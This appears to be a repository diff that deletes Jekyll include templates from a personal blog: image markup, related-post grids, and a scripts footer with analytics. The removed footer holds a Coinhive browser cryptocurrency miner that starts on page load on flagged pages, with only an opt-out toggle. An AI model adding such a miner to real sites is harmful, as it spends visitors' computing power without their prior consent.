||||||
{% if include.file %}
|
|
||||||
{% assign pictureSrc = include.file %}
|
|
||||||
{% else %}
|
|
||||||
{% if page.image %}
|
|
||||||
{% assign pictureSrc = page.image %}
|
|
||||||
{% else %}
|
|
||||||
{% assign pictureSrc = post.image %}
|
|
||||||
{% endif %}
|
|
||||||
{% endif %}
|
|
||||||
|
|
||||||
<img src="{{ site.media_url }}/{{ pictureSize }}/media/{{ pictureSrc }}" srcset="{{ site.media_url }}/{{ pictureSize }}/media/{{ pictureSrc }} 1x, {{ site.media_url }}/{{ pictureSizeRetina }}/media/{{ pictureSrc }} 2x" alt="{{ post.title }}">
|
|
||||||
@ -1,17 +0,0 @@
|
|||||||
<aside class="related-photos">
|
|
||||||
|
|
||||||
<div class="grid grid--gutters grid--half grid-medium--third">
|
|
||||||
|
|
||||||
{% for post in site.categories['photos'] limit:9 %}
|
|
||||||
|
|
||||||
<article class="related-photo grid__col">
|
|
||||||
<a class="photo-link" href="{{ post.url }}">
|
|
||||||
{% include picture.html size='photothumb' file=post.image %}
|
|
||||||
</a>
|
|
||||||
</article>
|
|
||||||
|
|
||||||
{% endfor %}
|
|
||||||
|
|
||||||
</div>
|
|
||||||
|
|
||||||
</aside>
|
|
||||||
@ -1,24 +0,0 @@
|
|||||||
{% if site.related_posts.size > 1 %}
|
|
||||||
<aside class="related-posts">
|
|
||||||
|
|
||||||
<h1 class="related-posts-title">Related</h1>
|
|
||||||
|
|
||||||
<div class="grid grid--gutters grid--full grid-small--half grid-medium--third">
|
|
||||||
|
|
||||||
{% for post in site.related_posts limit:6 %}
|
|
||||||
|
|
||||||
<article class="related-post grid__col">
|
|
||||||
<a class="post-title-link" href="{{ post.url }}">
|
|
||||||
{% if post.image %}
|
|
||||||
{% include picture.html size='photothumb' file=post.image %}
|
|
||||||
{% endif %}
|
|
||||||
<h1 class="post-title">{{ post.title | titlecase }}</h1>
|
|
||||||
</a>
|
|
||||||
</article>
|
|
||||||
|
|
||||||
{% endfor %}
|
|
||||||
|
|
||||||
</div>
|
|
||||||
|
|
||||||
</aside>
|
|
||||||
{% endif %}
|
|
||||||
@ -1,111 +0,0 @@
|
|||||||
<script src="/assets/js/kremalicious3.min.js" async></script>
|
|
||||||
|
|
||||||
{% if page.js %}
|
|
||||||
<script src="/assets/js/{{ page.js }}" async></script>
|
|
||||||
{% elsif layout.js %}
|
|
||||||
<script src="/assets/js/{{ layout.js }}" async></script>
|
|
||||||
{% endif %}
|
|
||||||
|
|
||||||
{% if page.coinhive %}
|
|
||||||
<div class="coinhive hide">
|
|
||||||
<div class="coinhive__info">Mining <a class="coinhive__toggle" href="#" title="Toggle mining">enabled</a></div>
|
|
||||||
<div class="coinhive__hashrate">0 Hashes/s</div>
|
|
||||||
</div>
|
|
||||||
<script src="https://coinhive.com/lib/coinhive.min.js"></script>
|
|
||||||
<script>
|
|
||||||
if (typeof CoinHive !== 'undefined') {
|
|
||||||
const miner = new CoinHive.Anonymous('45EnDz1yUgdjmV9yX31UgamUy9ZjzIyt')
|
|
||||||
const ui = document.querySelector('.coinhive')
|
|
||||||
const toggle = document.querySelector('.coinhive__toggle')
|
|
||||||
|
|
||||||
if (!miner.isMobile()) {
|
|
||||||
miner.start()
|
|
||||||
ui.classList.remove('hide')
|
|
||||||
|
|
||||||
setInterval(function () {
|
|
||||||
const hashesPerSecond = miner.getHashesPerSecond()
|
|
||||||
|
|
||||||
document.querySelector('.coinhive__hashrate').innerHTML = hashesPerSecond.toFixed(0) + ' Hashes/s'
|
|
||||||
}, 1000)
|
|
||||||
}
|
|
||||||
|
|
||||||
toggle.addEventListener('click', function(e) {
|
|
||||||
e.preventDefault()
|
|
||||||
if (miner.isRunning()) {
|
|
||||||
miner.stop()
|
|
||||||
e.target.innerHTML = 'disabled'
|
|
||||||
} else {
|
|
||||||
miner.start()
|
|
||||||
e.target.innerHTML = 'enabled'
|
|
||||||
}
|
|
||||||
}, false)
|
|
||||||
}
|
|
||||||
</script>
|
|
||||||
{% endif %}
|
|
||||||
|
|
||||||
{% if jekyll.environment == "production" %}
|
|
||||||
<script>
|
|
||||||
var _paq = _paq || [];
|
|
||||||
_paq.push(['trackPageView']);
|
|
||||||
_paq.push(['enableLinkTracking']);
|
|
||||||
(function(dnt) {
|
|
||||||
if (dnt !== "yes" && dnt !== "1") {
|
|
||||||
var u="//analytics.kremalicious.com/";
|
|
||||||
_paq.push(['setTrackerUrl', u+'piwik.php']);
|
|
||||||
_paq.push(['setSiteId', 1]);
|
|
||||||
var d=document, g=d.createElement('script'), s=d.getElementsByTagName('script')[0];
|
|
||||||
g.type='text/javascript'; g.async=true; g.defer=true; g.src=u+'piwik.js'; s.parentNode.insertBefore(g,s);
|
|
||||||
}
|
|
||||||
}(navigator.doNotTrack || window.doNotTrack || navigator.msDoNotTrack || null));
|
|
||||||
</script>
|
|
||||||
<noscript><p><img src="//analytics.kremalicious.com/piwik.php?idsite=1" style="border:0;" alt="" /></p></noscript>
|
|
||||||
{% endif %}
|
|
||||||
|
|
||||||
<script>
|
|
||||||
(function(window, dnt) {
|
|
||||||
|
|
||||||
if (dnt !== "yes" && dnt !== "1") {
|
|
||||||
// Google Analytics async snippet
|
|
||||||
// http://goo.gl/3FPNDx
|
|
||||||
window.ga=window.ga||function(){(ga.q=ga.q||[]).push(arguments)};
|
|
||||||
ga.l=+new Date;
|
|
||||||
|
|
||||||
// Create the GA tracker
|
|
||||||
ga('create', 'UA-1441794-2', 'auto', {siteSpeedSampleRate: 10});
|
|
||||||
|
|
||||||
{% if jekyll.environment != 'production' %}
|
|
||||||
// In non-production mode, simply log GA hits to the console.
|
|
||||||
// Note, tasks must be set before sending the first hit
|
|
||||||
ga(function(tracker) {
|
|
||||||
tracker.set('sendHitTask', function() {
|
|
||||||
// Throw to stop subsequent tasks.
|
|
||||||
throw 'Abort tracking in non-production environments.'
|
|
||||||
});
|
|
||||||
});
|
|
||||||
{% endif %}
|
|
||||||
|
|
||||||
// Send initial pageview
|
|
||||||
ga('send', 'pageview');
|
|
||||||
|
|
||||||
// Track uncaught errors
|
|
||||||
window.onerror = function(message, url, line, col) {
|
|
||||||
var desc = message + ' (line: ' + line + ', url: ' + url + ', col: '
|
|
||||||
+ col + ')';
|
|
||||||
|
|
||||||
ga('send', 'exception', {
|
|
||||||
exDescription: 'window.onerror: ' + desc,
|
|
||||||
exFatal: false
|
|
||||||
});
|
|
||||||
};
|
|
||||||
}
|
|
||||||
|
|
||||||
}(window, navigator.doNotTrack || window.doNotTrack || navigator.msDoNotTrack || null));
|
|
||||||
</script>
|
|
||||||
|
|
||||||
{% if jekyll.environment == "production" %}
|
|
||||||
<script async src="//www.google-analytics.com/analytics.js"></script>
|
|
||||||
{% else %}
|
|
||||||
<script async src="//www.google-analytics.com/analytics_debug.js"></script>
|
|
||||||
{% endif%}
|
|
||||||
|
|
||||||
<script src="/assets/js/analytics.min.js" async></script>
|
|
||||||
Loading…
Reference in New Issue
Block a user